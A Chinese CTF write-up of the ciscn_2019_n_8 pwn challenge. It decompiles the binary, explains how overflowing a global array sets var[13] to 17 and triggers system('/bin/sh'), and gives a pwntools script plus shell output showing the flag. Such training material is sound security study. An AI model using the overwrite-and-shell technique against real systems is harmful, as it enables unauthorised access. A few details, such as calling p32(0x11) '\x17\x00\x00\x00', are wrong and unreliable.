【pwn做题记录】07.ciscn_2019_n_8 1
首先检查一下文件:
C:\Users\A\Downloads>checksec ciscn_2019_n_8
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_n_8'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
上面的意思依次是:
- 32位程序,小端序
- GOT部分可写
- 具有栈保护
- 栈不可执行
- 地址随机化
- 保留了字符表和调试信息
思路分析
用IDA打开,看一下main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
- 直接定位到
system("/bin/sh");,要执行system,需要通过两个if条件 - var看不到定义,说明是全局变量(双击var可以看到bss段,并且 var是DWORD类型,即每个元素占4字节 ),也就是说我们不知道var具体长什么样
- 看到
__isoc99_scanf("%s", var, v4, v5);:格式化字符串在读取第一个参数后,后面的参数是会忽略掉的,即v4,v5可有可无。即这里的输入是修改var数组的值。 if ( *(_QWORD *)&var[13] )这个可能比较对新手来说比较难理解,var[13]就是var的第14个元素(索引从0开始),&var[13]就是第14个元素的地址,就是指向int类型的指针(前面有个var[13] = 0,那就可以假设var的元素的是int类型的),即int * 类型的指针,接下来(_QWORD )&var[13] 就是将&var[13]强制转换为_QWORD * 类型,即强制转换为指向_QWORD的指针。最后的号是指针解引用的意思,即*(_QWORD *)&var[13]是指向_QWORD的指针解引用,其值相当于_QWORD(_QWORD是一种整数类型,占8字节)。所以这里可以简单理解为var[13]的值是否为0,不为0则通过。*(_QWORD *)&var[13] == 17LL:当var[13]的值为17的时候,就可以执行里面的system函数。
因此这道题的思路很简单,只要让var[13]的值为17即可.
思路总结
- 输入垃圾数据,到var[13]的时候,输入数字17。
攻击脚本
#!/bin/python
from pwn import *
#context.log_level = 'debug'
io = process("./ciscn_2019_n_8")
#io = remote("node5.buuoj.cn",29619)
# 17的十六进制是0x11
payload = b'aaaa' * 13 + p32(0x11)
io.sendline(payload)
io.interactive()
就可以得到flag了:
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 29619: Done
[*] Switching to interactive mode
What's your name?
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{5828b594-8850-4562-a956-d5a4253cb4b3}
$
[*] Interrupted
[*] Closed connection to node5.buuoj.cn port 29619
疑惑点
-
为什么payload = b'aaaa' * 13 + p32(0x11)
这里要明确,数组的存储方式是连续的,前面分析过,数组var的元素都是DWORD(占4字节),所以payload = b'aaaabbbb' 就相当于使var[0] = 'aaaa',var[1] = 'bbbb' -
为什么payload最后采用p32(0x11)
当我们发送b'aaaa'的时候,程序收到的实际是什么,这里看一下if ( *(_QWORD *)&var[13] == 17LL )不通过的情况,即执行下面的else语句,里面printf看似打印了很多东西,但其实和前面的scanf一样,格式化字符串%d只接收第一个参数,后面的会被忽略,所以这里将会打印var[0]。因此我们将var[0]赋值为b'aaaa'的时候,会得到什么
(这里用pwntools里的context.log_level = 'debug'测试)
payload = b'aaaa' * 13 + b'aaaa'

可以看到,var[0]接收的值是1633771873,我们将其转成16进制(看下面计算器的HEX的值)

很明显,其16进制是0x61616161,0x61又正好是'a'的ASCII码,所以我们发送b'aaaa'的时候,程序收到的其实是0x61616161
而p32(0x11)发送的值是什么?是b'\x11\x00\x00\x00',这个发送的又是什么?
这里用python的list来做对比,就能大概理解了:
print(f"b'aaaa' = {list(b'aaaa')}" )
print(f"p32(0x11) = {list(p32(0x11))}" )

对比两者,就能大概了解为什么要用p32了,用p32才能发送真正的17,或者说,是发送\x17\x00\x00\x00
- 为什么攻击过程没有提及到_QWORD类型转换
因为_QWORD类型占8字节,可以简单理解为long long类型(32位程序的long和int都占4字节),*(_QWORD *)&var[13] == 17LL的17LL也在暗示了,这算是几乎最大的整数类型了,前面的var[13] = 0已经暴露出var的元素的一种整数类型,所以这里的强制转换,相当于把小类型转换为大类型,如int类型转换为long long字型,比如0x10001000转换为0x0000000010001000,不够的位数用0补充(int为负数时用f补充,这里的var[13]正数,补0,但其实10进制数值都没改变),所以几乎无影响。
做题总结
- 给数字类型的变量赋值,不能直接发送字节流b'xxxx',应该发送str('0x11'),但这种无法控制位数,所以最好发送p32(0x11)。

浙公网安备 33010602011771号